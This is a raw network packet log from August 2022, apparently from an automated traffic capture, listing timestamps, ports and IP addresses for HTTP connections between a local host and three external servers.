Aug 31, 2022 08:33:52.220011950 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:52.220032930 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:52.220051050 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:52.220053911 CEST	49742	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:33:52.220072985 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:52.220088959 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:52.220093012 CEST	49742	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:33:52.220113039 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:52.220125914 CEST	49742	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:33:52.223653078 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:52.223676920 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:52.223694086 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:52.223711014 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:52.223783970 CEST	49742	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:33:52.223818064 CEST	49742	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:33:52.224131107 CEST	49742	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:33:52.383275986 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:52.945946932 CEST	49743	80	192.168.2.3	196.200.111.5
Aug 31, 2022 08:33:53.233181953 CEST	80	49743	196.200.111.5	192.168.2.3
Aug 31, 2022 08:33:53.233366966 CEST	49743	80	192.168.2.3	196.200.111.5
Aug 31, 2022 08:33:53.233541965 CEST	49743	80	192.168.2.3	196.200.111.5
Aug 31, 2022 08:33:53.233556032 CEST	49743	80	192.168.2.3	196.200.111.5
Aug 31, 2022 08:33:53.540777922 CEST	80	49743	196.200.111.5	192.168.2.3
Aug 31, 2022 08:33:54.442610025 CEST	80	49743	196.200.111.5	192.168.2.3
Aug 31, 2022 08:33:54.442641973 CEST	80	49743	196.200.111.5	192.168.2.3
Aug 31, 2022 08:33:54.442727089 CEST	49743	80	192.168.2.3	196.200.111.5
Aug 31, 2022 08:33:54.443156958 CEST	49743	80	192.168.2.3	196.200.111.5
Aug 31, 2022 08:33:54.488481998 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.515393972 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.515525103 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.516011953 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.543867111 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.550527096 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.550590038 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.550643921 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.550682068 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.550683022 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.550704956 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.550728083 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.550748110 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.550749063 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.550769091 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.550781965 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.550806999 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.550827026 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.550837994 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.550908089 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.577847004 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.577902079 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.577919006 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.577935934 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.577951908 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.577969074 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.577977896 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.577984095 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.578000069 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.578015089 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.578030109 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.578042984 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.578047037 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.578064919 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.578075886 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.578079939 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.578097105 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.578110933 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.578119993 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.578155041 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.605063915 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.605112076 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.605129004 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.605145931 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.605160952 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.605178118 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.605185032 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.605195045 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.605206966 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.605210066 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.605218887 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.605231047 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.605242968 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.605253935 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.605926037 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.605953932 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.605973005 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.605992079 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.605993986 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.606009007 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.606029987 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.606046915 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.606050014 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.606062889 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.606082916 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.606107950 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.632956028 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.632982969 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.632998943 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.633014917 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.633034945 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.633069038 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.633239031 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.633280039 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.633312941 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.633330107 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.633368969 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.633392096 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.633407116 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.633423090 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.633444071 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.633471966 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.633500099 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.633511066 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.633516073 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.633544922 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.633553028 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.633563042 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.633578062 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.633594990 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.633630991 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.633647919 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.633663893 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.633666992 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.633678913 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.633696079 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.633707047 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.633723974 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.633739948 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.633789062 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.633806944 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.633822918 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.633822918 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.633860111 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.633949995 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.661056042 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.661156893 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.661223888 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.661293983 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.661333084 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.661365032 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.661393881 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.661412001 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.661427021 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.661449909 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.661484003 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.661494970 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.661519051 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.661550999 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.661556959 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.661586046 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.661618948 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.661621094 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.661653996 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.661686897 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.661690950 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.661725044 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.661756992 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.661761999 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.661791086 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.661818027 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.661837101 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.661849976 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.661858082 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.661879063 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.661880016 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.661904097 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.661915064 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.661925077 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.661945105 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.661962986 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.661966085 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.661987066 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.662013054 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.689579964 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.689606905 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.689630985 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.689635038 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.689654112 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.689677000 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.689682007 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.689699888 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.689719915 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.689723015 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.689743996 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.689766884 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.689779043 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.689790010 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.689806938 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.689814091 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.689837933 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.689852953 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.689862013 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.689883947 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.689905882 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.689913988 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.689925909 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.689949036 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.689966917 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.689973116 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.689994097 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.689995050 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.690016985 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.690028906 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.690038919 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.690061092 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.690082073 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.690088034 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.690114021 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.690136909 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.690145016 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.690162897 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.690181017 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.690185070 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.690207958 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.690222025 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.690229893 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.690253019 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.690269947 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.690274954 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.690296888 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.690315962 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.690319061 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.690346003 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.690442085 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.690458059 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.690465927 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.690489054 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.690534115 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.690551043 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.690556049 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.690557003 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.690581083 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.690598011 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.690607071 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.690649033 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.726130009 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.726186037 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.726212025 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.726237059 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.726259947 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.726284027 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.726291895 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.726309061 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.726314068 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.726330996 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.726331949 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.726356030 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.726380110 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.726402998 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.726408958 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.726427078 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.726428986 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.726452112 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.726468086 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.726475954 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.726499081 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.726517916 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.726522923 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.726548910 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.726562977 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.726573944 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.726598978 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.726608992 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.726624012 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.726645947 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.726664066 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.726669073 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.726694107 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.726703882 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.726768017 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.726805925 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.726813078 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.726835012 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.726856947 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.726876020 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.726881981 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.726907015 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.726919889 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.726929903 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.726968050 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.726969957 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.727008104 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.727031946 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.727057934 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.727077007 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.727082014 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.727118969 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.727143049 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.727158070 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.727166891 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.727188110 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.727209091 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.727211952 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.727233887 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.727252960 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.727272034 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.727297068 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.727307081 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.727322102 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.727324009 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.727340937 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.727375984 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.727396011 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.727416039 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.727591991 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.736505985 CEST	80	49743	196.200.111.5	192.168.2.3
Aug 31, 2022 08:33:54.764507055 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.764630079 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.764661074 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.764678001 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.764694929 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.764720917 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.764740944 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.764754057 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.764765024 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.764775991 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.764791965 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.764813900 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.764820099 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.764836073 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.764858007 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.764862061 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.764880896 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.764899015 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.764947891 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.764956951 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.764971972 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.765005112 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.765026093 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.765042067 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.765045881 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.765068054 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.765069008 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.765089989 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.765110970 CEST	80	49744	91.217.57.30	192.168.2.3
